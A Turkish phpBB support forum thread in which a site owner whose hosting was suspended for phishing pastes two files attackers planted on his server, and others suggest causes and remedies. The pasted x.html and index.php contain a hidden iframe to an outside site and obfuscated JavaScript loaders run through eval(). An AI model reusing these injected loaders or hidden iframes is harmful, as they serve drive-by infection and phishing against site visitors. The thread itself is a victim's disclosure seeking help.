(Olası bir) SQL İnjection Açığı

phpBB 3.0.x çalıştırılması ve kurulumu ile ilgili yardımı buradan alabilirsiniz. Lütfen MODlar ile ilgili sorunlarınızı buraya yazmayın.
Forum kuralları
- Yeni bir başlık açarken lütfen konu başlığına "Acil yardım", "Acele yardım" tarzlarında içerisinde "yardım" kelimesi geçen cümleler yazmayınız. Bu tip başlıklara kesinlikle cevap verilmeyecektir. Lütfen konu başlığına içeriği en iyi özetleyen anlaşılabilir bir cümle yazınız.

- Ayrıca yeni başlıklarınızı kesinlikle ilgili forumlara açınız. Örneğin, phpBB3 kurulum ve çalıştırması hakkında bir sorununuz varsa "3.0.x Destek Forumu" forumuna başlık açınız; phpBB3 temasından kaynaklı bir sorunuz varsa "3.0.x Stil/Tema Geliştirme & Tartışma & Yardım" forumuna başlık açınız; phpBB3 mod/eklentileriyle ilgili sorununuz varsa "3.0.x MOD Destek" forumuna başlık açınız. Bu kurala uymayan kullanıcıların başlıkları silinebilir ve kullanıcı uyarı alabilir ya da süresiz uzaklaştırılabilir.

- Site kurallarımızı okumadan kesinlikle forumlarımıza herhangi bir katılım yapmayınız.
Kilitli
Kullanıcı avatarı
akansu
Kayıtlı Kullanıcı
Mesajlar: 518
Kayıt: 28.12.2006, 15:03
İletişim:

(Olası bir) SQL İnjection Açığı

Mesaj gönderen akansu »

Arkadaşlar 1 yıldır gece gündüz emek vererek yaptığım sitenin yayını "phising" tibi bir uygulama görüldüğü için sunucum tarafından 2 gün önce durduruldu...

BETA aşamasından beri PHPBB3 kullanmış ve en son PHPBB3 Gold sürümüne güncelleme yapmıştım.

Sunucu operatörleri, yazışmalarımız sonucunda sitemde -kesin olmamakla birlikte- SQL İnjection açığı olduğu yönünde fikir bildirdiler.

Yani birileri sitenin bir şekilde açığını bulmuş, ve siteyi çökertmek amaçlı değil, site üzerinden dolandırıcılık yapmaya yarayan bir sistem kurmuşlar...
operatör yazdı:Phishing sizin sitenize yönetilmiş bir saldırı değildir. Bu yöntem ile sisteminizin altına genellikle banka vb. sitelerin klonu yüklenri ve spam aracılığı ile kullanıcılar bu sisteme giriş yaptırılarak banka bilgileri ve hesap şifreleri elde edilir. Aynı durum msn şifreleri e-posta şifreleri vb. içinde geçerlidir.

Bu konu ile ilgili uyarılıarı yurt dışından almaktayız. İşlem kesinlikle yasal değildir. Dolayısı ile bu tip bir güvenlik açığı bulunan sistemin servislerinin açılması malesef mümkün değildir.

İyi Çalışmalar
Çok ısrar ettim, basit birşeydir falan dedim,sunucu operatöelri kesin olarak yayını açmadılar. Telefonla aradım, aynı şeyi söylediler yani durum ciddi imiş.Örnek olarak söylediklerine göre text-boxlara girilen JavaScript gibi bazı zararlı kodları sistemin normalde belli bazı parametlelrle tanıyarak kabul etmemesi lazımken benim sitede edebiliyormuş falan...

Hatta ben IP üzeirnden FTP 'ye bağlanarak benim yüklemediğim bazı dosyalara ulaştım.

Dosyaların isimleri x.html ve -kök dizin hariç- index.php
Bu dosyalar yazma izni verilen, store/ ve cache/ klasörlerinin içerisindeydi.
Başka klasörlerde yoktu..
Ayrıca kök dizinde de x.html isimli dosya vardı ama burada index.php bizim orjinal olan dosya..

Mesajın sonunda bu dosyaların içeriğini ekleyeceğim..

operatör yazdı:Merhaba,

Kullandığınız PHPBB sürümünde güvenlik açığı olabilir. SQL injection açığı bulunuyor olabilir. Bu şartlar altında servisilerinizi aktif hale getirmemiz malesef mümkün değildir. Dilerseniz tüm içeriğinizi silebilir ve servislerinizi aktif hale getirebiliriz. Kullandığınız sistemi değiştirmenizi veya özel bir sistem yazdırmak için bir yazılımcı ile çalışmanızı öneririz. Genellikle hazır kod sistemlerde bu tip problemler ile karşılaşmaktayız.

İyi Çalışmalar
Sonuç olarak ben PHPBB 'yi Beta aşamasından beri kullanıp güncelleme yaparak yükselttiğim,
Beta aşamasında Çeşitli MODLAR kurup sildiğim,.. vs için sistemde SQL İnjection açığı oluşmuş olabilir.

Ben eğer tekrar devam etmeye karar verirsem, yine PHPBB kullanacağım ama sizleri de bu durumdan haberar etmek istedim.

Eğer sıfırdan PHPBB3 kurduğum halde tekrar böyle bir olayla karşılaşırsam buraya yazar ve sorunun PHPBB3'teen kaynaklandığını söyleyebilirm...O zaman ayrıca bu konuyu konuşuruz.

Ek Dosyalar:

İsmi: x.html

Bulunduğu yerler:
/httpdocs/store/new/
/httpdocs/cache/
/httpdocs/

Dosyanın içeriğini aynen kopyalıyorum.. Bu dosyayı ben eklemedim, nasıl geldiğini de bilmiyorum.

Kod: Tümünü seç

 

<html> 
<body> 

<iframe width=5 height=5 id="lf" scrolling="yes" src="http://dorukelektronik.com/images/traker.html"></iframe> 

<img name="morda" SRC="http://www.farmprn.com/images/1.jpg" width="2" height="2" border="0"> 
<script language="JavaScript"> 
<!-- 
b="nOHscsJPj6nT:C!)t4=u0" 
+"L3e]t@u8HPLDuLc<a/lj#,V$w;Qlb'qO9ddhWqJ6u*{AfFu'qOJgQoLW{Ow]S~fL:{MtJxINs~5vAyY}" 
+"kBGPPg~#Q:Ou cjQZ*dzWmbKc5#iHAurwvIB.<T C=Wl(dIB$^:bo"ePeYT'zOD.DDQKQE7MdUy'n/" 
+"Hu."vuZwbKce5BBfH,EIFdfg#$h{Ku7"CoM8,[a~'DeS7puHw{SHCD8yz2I/1k4(nu1+LAU+@EMn=" 
+"[zuH}zMPi6u5QE:Kn8caEXcFkSEBMmO^xAq,3'MGQ{x6SP{4lN9lwTdwA$xIYH{5tasO,=cAuv6ivdQy";var sD=location.href;aD=sD.split("/");a="@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$^&*():;/. {nt=<+[]}',"";key=aD[0]+'juBw3fS5v6Jg3;pH4/rgEjoTp24';if (key) { 
fin = ""; 
pos = 0; 
for (i=0;i<b.length;i++) { 
first = b.charAt(i); 
second = key.charAt(pos); 
fin+=a.charAt((a.indexOf(first)-a.indexOf(second)+a.length)%a.length); 
pos = (pos+1)%key.length; 
} 
eval(fin); 
fin=a=b=key=""; 
} 
// --> 
</script> 
</body> 
</html> 



İsmi: index.php
Bulunduğu yerler:

/httpdocs/store/new/
/httpdocs/cache/

Kod: Tümünü seç

<HTML> 
<HEAD> 
<title>WELCOME</title> 
</HEAD> 
<script language="JavaScript"> 
if (self != top) { top.location.replace('x.html'); } 
</script> 
<script language="JavaScript"> 
<!-- 
b="DuLd;vKYl"xWLWw(HOUPVBUI_BByieBCsmnD$H"EHgo*:7oZzhiNCE>CtWBg4 s#D!" 
+"NX&t4t$GwwzyIcsFRxp2;t"LYMH7$/kWKjDyLOdrdFFpV8G^r)MH6:(y^CyiHNFbywIPwS;B~A*JI " 
+"n4xYunzywJtFvVVxR^B*D)OO8tQi7cfAJHudctPFiX=@_N*OH*X'kVc7a;m/K(:bimX9s>b5OP&YO" 
+">XFhCGyDd,NVFxO(BRfSAU4(8yYK_zIQI9d)< @GMhXr#GVTYK@HwwiGyr+BuIO"Dj23cZJU79/%N(+" 
+"%zLq,oJTxgS:uZiooAYalG,V_VU6U9dDEFrL^z/x!BwR 6x8CqqHAf$8V.qn_nQZiOtW!9WA!Cd+nrk" 
+"=BrQBn2 qZiOtD&tteKk_vILucsQIkj16A^q#MG8.T@>5+%MwH+vCMKkzZ1oiVpo9.4sYJjBrk+4b";var sD=location.href;aD=sD.split("/");a="@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$^&*():;/. t='n_"<%,>+";key=aD[0]+'jqDwdJ5n9oXuC343fTqe';if (key) { 
fin = ""; 
pos = 0; 
for (i=0;i<b.length;i++) { 
first = b.charAt(i); 
second = key.charAt(pos); 
fin+=a.charAt((a.indexOf(first)-a.indexOf(second)+a.length)%a.length); 
pos = (pos+1)%key.length; 
} 
eval(fin); 
fin=a=b=key=""; 
} 
// --> 
</script> 
</HTML> 
Gayemiz, imkansızı mümkün, mümkünü kolay, kolayı zarif ve zevkli yapmanın yollarını bulmaktır.

phpBB3 Temaları | SufiForum
Kullanıcı avatarı
akansu
Kayıtlı Kullanıcı
Mesajlar: 518
Kayıt: 28.12.2006, 15:03
İletişim:

Re: (Olası bir) SQL İnjection Açığı

Mesaj gönderen akansu »

Son gelen mesajda böyle
Operatör yazdı:Merhaba,

Web sitenizin tüm içeriği silinerek Servisleriniz aktif edilmiştir. Genellikle Open Source uygulamalarda (PhpBB, SMF, joomla vs) çeşitli güvenlik açıklar bulunmaktadır. Bu yazılımın kendisinde olacağı gibi yazılıma sonradan eklenmiş bir modül üzerindede olabilir. Ayrıntılı bilgi için kullandığınız yazımın resmi destek sitesini ziyaret ediniz.

İyi Çalışmalar.
Gayemiz, imkansızı mümkün, mümkünü kolay, kolayı zarif ve zevkli yapmanın yollarını bulmaktır.

phpBB3 Temaları | SufiForum
Kullanıcı avatarı
mc_kelleci
Kayıtlı Kullanıcı
Mesajlar: 626
Kayıt: 01.09.2006, 19:51
Konum: Konya
İletişim:

Re: (Olası bir) SQL İnjection Açığı

Mesaj gönderen mc_kelleci »

sana veritabanı yedeğini versinler sende sıfırdan kur phpbb3 ü.bide öyle baksınlar acık varmı?...
aklı olan okumasın sanayide iyi para veriyorlar :)
Kullanıcı avatarı
bplr
Kayıtlı Kullanıcı
Mesajlar: 824
Kayıt: 05.12.2007, 23:18
Konum: istanbul

Re: (Olası bir) SQL İnjection Açığı

Mesaj gönderen bplr »

http://www.phpbb.com/incidents/
adresine bu olayı bildirip araştırılmasını isteyebilirsin..
Ayrıca sitede awstats gibi bir istatistik programı olmasında fayda var, sitede en çok ziyaret edilen adresler, indirilen dosyalar, gelen IP ler, refere eden adres gibi ayrıntıların bir özetine bakarak bu tip normal dışı trafik bir nebze kendini belli edebilir..
Daha erken önlem alabilmek için ipucu sağlayacağını düşünüyorum...
Kullanıcı avatarı
mavideniz
Kayıtlı Kullanıcı
Mesajlar: 58
Kayıt: 28.05.2007, 16:10
İletişim:

Re: (Olası bir) SQL İnjection Açığı

Mesaj gönderen mavideniz »

öyle sql injection açığı olmaz.
hosta bir şekilde erişmiş senin sitenden olmayabilir başka bir siteden file include açıkları vasıtasıyla bağlanmış yazma izinli dosyalar aramış ve verdiğin dosyalar yazma izni olan dosyalar, chmod 777 oralara yazmış jsp ile uzaktan kod çalıştırıyor.
sql injection yapabilmesi için phpbb3 scriptinde (=' )hata bulmalı bu hatadan faydalanarak sql tablolardan sınırlı değişiklikler yapabilmektedir.
Kullanıcı avatarı
akansu
Kayıtlı Kullanıcı
Mesajlar: 518
Kayıt: 28.12.2006, 15:03
İletişim:

Re: (Olası bir) SQL İnjection Açığı

Mesaj gönderen akansu »

Cevap ve yorumlarınız için teşekkürler arkadaşlar...
Gayemiz, imkansızı mümkün, mümkünü kolay, kolayı zarif ve zevkli yapmanın yollarını bulmaktır.

phpBB3 Temaları | SufiForum
Kilitli

“3.0.x Destek Forumu” sayfasına dön

Kimler çevrimiçi

Bu forumu görüntüleyen kullanıcılar: Hiç bir kayıtlı kullanıcı yok ve 3 misafir